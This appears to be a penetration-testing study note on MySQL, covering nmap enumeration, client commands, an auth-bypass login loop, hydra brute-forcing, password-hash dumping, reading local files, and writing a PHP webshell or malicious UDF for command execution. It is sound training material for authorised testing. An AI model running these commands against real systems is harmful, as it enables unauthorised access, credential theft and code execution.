MySQL
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
TL;DR
MySQL. Relational database on TCP 3306. MariaDB is the common drop-in fork, with the same wire
protocol and client. Authentication is a username and password, and root is the usual account.
First checks: a default or weak root login, then read the databases.
Commands
Inside the mysql client:
| Command | Does |
|---|---|
SHOW DATABASES; |
List databases. |
USE <db>; |
Select a database. |
SHOW TABLES; |
List the tables. |
SHOW COLUMNS FROM <table>; |
List a table’s columns. |
SELECT * FROM <table>; |
Read a table. |
SELECT user, authentication_string FROM mysql.user; |
Read the password hashes. |
SHOW GRANTS; |
List your privileges (look for FILE). |
SHOW VARIABLES LIKE 'secure_file_priv'; |
Show where MySQL allows file reads and writes. |
SELECT LOAD_FILE('/etc/passwd'); |
Read a local file (needs FILE). |
SELECT '<?php ...?>' INTO OUTFILE '/var/www/html/s.php'; |
Write a file (needs FILE). |
Enumeration
Sweep.
# version, empty root password, users, and databasessudo nmap -p3306 -sV --script mysql-info,mysql-empty-password,mysql-users,mysql-databases -oA scans/mysql $TARGETmysql-empty-password tests root with no password. mysql-info reads the version and capabilities.
These scripts throw false positives, so log in before you trust an empty or guessed password.
Connect.
mysql -h $TARGET -u root -p # prompt for the passwordmysql -h $TARGET -u root -p'<password>' # inline passwordmysql -h $TARGET -u root --skip-ssl # server forces TLS, common on MariaDBAn inline password takes no space after -p (-p'secret').
Then list the databases, pick one, and read its tables:
SHOW DATABASES; -- list databasesUSE <db>; -- select a databaseSHOW TABLES; -- list its tablesDump a whole database at once:
mysqldump -h $TARGET -u root -p <db> # dump one databaseIgnore the default schemas (information_schema, mysql, performance_schema, sys). The
application database holds the data.
Common misconfigurations
rootwith no or a weak password.rootreachable from the network (bound to0.0.0.0).- The FILE privilege granted, which enables
LOAD_FILEandINTO OUTFILE. - Credentials reused from a web config such as
wp-config.php.
Version exploits
Match the version from -sV first.
- CVE-2012-2122 (MySQL and MariaDB auth bypass): MySQL 5.1 before 5.1.63, 5.5 before 5.5.24,
5.6 before 5.6.6, and MariaDB builds of the same age. A cast bug in the password check accepts a
wrong password about once in 256 tries, on some builds only. Loop the login until it opens a session:
Rare on current targets, so check the version.for i in $(seq 1000); do mysql -h $TARGET -u root -pwrong 2>/dev/null && break; done # retry one wrong password
Attack playbook
MySQL’s win is the data it holds and the FILE privilege.
- Log in. Try default credentials first:
rootwith no password, then known defaults.creds(frompip install defaultcreds-cheat-sheet) prints them, and SecLists has auser:passlist forhydra -C. Then try weak or reused credentials.creds search mysql # known default loginshydra -C /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt mysql://$TARGET # test user:pass pairshydra -l root -P passwords.txt mysql://$TARGET # brute the root password-ltakes one username. - Search the databases. Read the tables for credentials and password hashes (CMS user tables
are common). Crack the hashes and reuse them.
SHOW DATABASES; -- list databasesSELECT * FROM <table>; -- read a tableSELECT user, authentication_string FROM mysql.user; -- read the MySQL password hashes
- Read and write files with FILE. Read a local file, or write a webshell to a web root. Both
need the FILE privilege. Check it, then check
secure_file_priv:Empty allows any path. A directory limits reads and writes to that directory.SHOW GRANTS; -- look for FILE or ALL PRIVILEGESSHOW VARIABLES LIKE 'secure_file_priv'; -- where MySQL allows file reads and writesNULLturns them off.INTO OUTFILEwrites as the MySQL service account, which needs write access to the web root.SELECT LOAD_FILE('/etc/passwd'); -- read a local fileSELECT '<?php ...?>' INTO OUTFILE '/var/www/html/s.php'; -- write a webshell to the web root - UDF for command execution. With the FILE privilege and a writable plugin directory, load a malicious UDF library and run OS commands.
- Reuse credentials. Database passwords and cracked hashes often work on SSH and other services.
Practice boxes
| Box | Difficulty | MySQL’s role |
|---|---|---|
| Sequel | Starting Point | MariaDB on 3306: log in as root with no password and read the database for the flag. |
MySQL usually arrives through found credentials or SQL injection, so it is often a read-the-database step. Direct 3306 access with a weak
rootis the quick win.